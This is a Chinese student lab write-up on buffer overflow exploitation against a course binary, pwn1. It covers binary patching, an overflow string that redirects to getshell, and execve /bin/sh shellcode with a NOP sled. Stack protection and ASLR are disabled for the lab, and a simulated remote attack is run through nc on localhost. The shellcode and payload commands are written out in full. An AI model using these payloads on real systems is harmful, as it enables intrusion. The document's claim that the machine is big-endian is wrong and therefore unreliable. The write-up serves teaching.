exp1 逆向与Bof基础
1.基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
- 指令、参数
- 用时及时查询。
- 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
- 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
- 操作成功不重要,照着敲入指令肯定会成功。
- 重要的是理解思路。
- 看指导理解思路,然后抛开指导自己做。
- 碰到问题才能学到知识。
- 具体的指令可以回到指导中查。
NOP, JNE,, JMP, CMP汇编指令的机器码:
汇编指令 | 机器码 | 功能 |
---|---|---|
NOP | 0x90 | 空指令,当CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。 |
JNE | 0x75 | 如果后面两个参数不相等则跳转到对应地址。 |
JMP | 段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA | |
CMP | 0x38-0x3D | 比较指令,对操作数之间进行运算比较。 |
反汇编
objdump
- objdump -d <file(s)>`: 将代码段反汇编;
- objdump -S <file(s)>`: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用`-g`参数,即需要调试信息;
- objdump -C <file(s)>`: 将C++符号名逆向解析
- objdump -l <file(s)>`: 反汇编代码中插入文件名和行号
- objdump -j section <file(s)>`: 仅反汇编指定的section
gdb disassemble
gdb反汇编disassemble_菜菜的阿庄的博客-CSDN博客_gdb 反编译
十六进制编辑器
vim <filename>: 以ASCII码形式显示可执行文件的内容
:%!xxd: 将显示模式切换为16进制模式
:%!xxd: 将16进制切换回ASCII码模式
2.直接修改程序机器指令,改变程序执行流程
1.下载目标文件pwn1,反汇编。
使用vmtool导入文件,此处将文件复制三次以供后续使用。
使用objdump -d对文件进行反汇编,找到当中主要的三个函数main、foo、getshell。
任务:调用getshell函数。
分析:
1.此时的程序流程为main——foo——main,注意在main中通过call指令调用foo,我们需要修改此处的地址来让call指令调用getshell函数。
2.call的机器指令为e8 d7 ff ff ff,此时eip指向08 04 84 ba,由于是反码,eip计算后指向08 04 84 91这个正好是foo的地址,所以我们需要修改这里为08 04 84 7d(getshell)-08 04 84 ba == c3 ff ff ff。
步骤:
1.通过vim打开pwn文件。
2.通过指令 :%!xxd 修改文件显示格式为16位。
3.通过查找命令找到对应内容 /
此处我通过vi无法找到对应内容,不知道是哪里出现了问题,于是使用了wxHexEditor。
4.修改 d7 为 c3 .
5.反汇编文件检查修改成功。
6.成功getshell。
3.通过构造输入参数,造成BOF攻击,改变程序执行流
任务:触发函数getshell。
分析:
1.函数foo的作用:将用户输入的字符打印出来。
此处有缓冲区溢出的漏洞,首先探测输入值的长度极限。此处给缓冲区预留了0x38 == 28 char的空间,所以我们需要构造超过28个字符长度的字符来造成缓冲区溢出。又通过函数的堆栈结构得知,再往上4位是返回地址,再往上四位是eip的值,所以我们要修改eip的值为getshell的地址得从32位开始。
2.getshell的地址是0x0804847d,所以我们需要构造的字符串后面需要加入这个字符串,然而由于机器是大端的,所以应该反过来输入即/x7d/x84/x04/x08。
步骤:
1.我们需要使用perlink来构造16进制字符串。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
2.将input的输入,通过管道符“|”,作为pwn1的输入。
(cat input; cat) | ./pwn1
3.成功getshell。
4.注入Shellcode并执行
定义:shellcode—为了获取一个交互式的shell而设计的一段机器指令。
如下构造的shellcode是本次实验所需的:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
4.1准备工作
预先安装prelink,从老师提供的安装文件中进行安装,否则无法运行后续的指令。
cd prelink
sudo apt-get install libelf-dev
./configure
make
sudo make install
实验的假设条件是这样的:
(1)关闭堆栈保护
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
所以我们需要修改kali的设置:
4.2构造需要注入的payload
- 结构为:nops+shellcode+retaddr。(这是一个坑,就不介绍了)
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
能够成功的结构为:anything+retaddr+nops+shellcode。
4.3操作步骤
1.我们需要试探一下程序的返回地址到底在哪里,使用如下shellcode来试探。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
2.打开一个终端注入这段攻击buf:
3.另开一个终端,用gdb来调试,先确定程序的进程号,以便gdb定位。
确定retaddr的位置,将断点设置在ret处。
在另一个终端敲回车,继续调试,找到esp的位置。
查看esp地址的内容,我们可以看到01020304,这说明我们需要的地址已经找到了,返回的地址与其相邻,0xffffd11c + 4。
注入并成功!
4.4 结合nc模拟远程攻击
本例中是在同一台主机上做的实验;该实验最好在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。
主机1,模拟一个有漏洞的网络服务:
root:~# nc -l 127.0.0.1 -p 28234 -e ./pwn1
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
主机2,连接主机1并发送攻击载荷:
root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令就可以了
ls
和上述实验步骤相似,此处不多赘述,放出关键步骤。
5.实验感想
此次实验的环境是十分理想的,所有的大门都对我们打开,但实际上现实的环境错综复杂,在理想情况下仍需要一波三折,这已经充分说明了这条学习之路任重而道远,我们的修行远远不够!
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。在这个观点下,我们应该去尝试加大难度,增加shellcode的构造难度。
实验中出现了很多问题,在第一个项目的时候不知道是什么原因使用vim竟然无法查找到对应的机器指令。参考其他同学的博客发现该机器指令都在同一个位置,但是我查看的时候这里的指令和其他同学的都不一样。为此我使用了图形化软件,反而能够找到了,在这里卡壳了好久。